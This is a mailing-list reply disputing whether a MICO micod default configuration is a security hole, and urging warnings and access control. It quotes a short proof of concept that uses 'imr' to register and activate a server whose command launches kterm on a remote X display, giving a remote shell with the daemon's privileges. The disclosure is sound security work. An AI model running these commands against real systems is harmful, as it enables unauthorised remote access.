Re: MICO: security problem: Privileges of micod for everybody!

[dominique () UNRUH DE (Dominique Unruh)]

> > (micod ist started on inet:winkelklinke.local:8888)
> > (hacking from enfin.local, which has X on display :0)
> > imr -ORBImplRepoAddr inet:winkelklinke.local:8888 create Play shared
> > "kterm -display enfin.local:0 & echo" IDL:Anything:1.0
> > imr -ORBImplRepoAddr inet:winkelklinke.local:8888 activate Play

> I would not consider this an explot, I would consider this just not
> understanding what you are doing.
> This `exploit' is equivalent to putting in your /etc/inetd.conf:
> service stream tcp nowait root /usr/X11R6/bin/xterm -display somehost:0

I feared that answer.

The problem is, that we don't have the same opinion of the word
'exploit'.
Imho, if a product has a security problem in its default 'way of
installation', this should be considered an exploit.
And the default (as considered by the documentation) is, in this case,
just to run micod (not necesarily as root, of course).
Just limiting access to micod (e.g. by not starting it on a tcp-port,
but on a unix-file-socket) would not be a solution, because in most
applications you'll have to make your objects accessible to non trusted
users.
And if you have to rewrite the code just to be able to start the program
w/o fear,
it is not my understanding of an final release.

All I said is, that you should not start micod w/o further change of the
program
and
that the documentation should warn.

I also wanted to warn those, who aren't aware of those problems.
(I know many people who would not have seen this problem. "not
understanding what they are doing")

> Users of MICO need to implement their own authentication systems
> (which we do, for those who care about the panel).
Such a system could be included in micod by default,
some kind of ssl-access-control, but only for the ImplRepo-modifiing.


> Best wishes,
> Miguel.
Better knowing what he is doing than you suppose,
DniQ.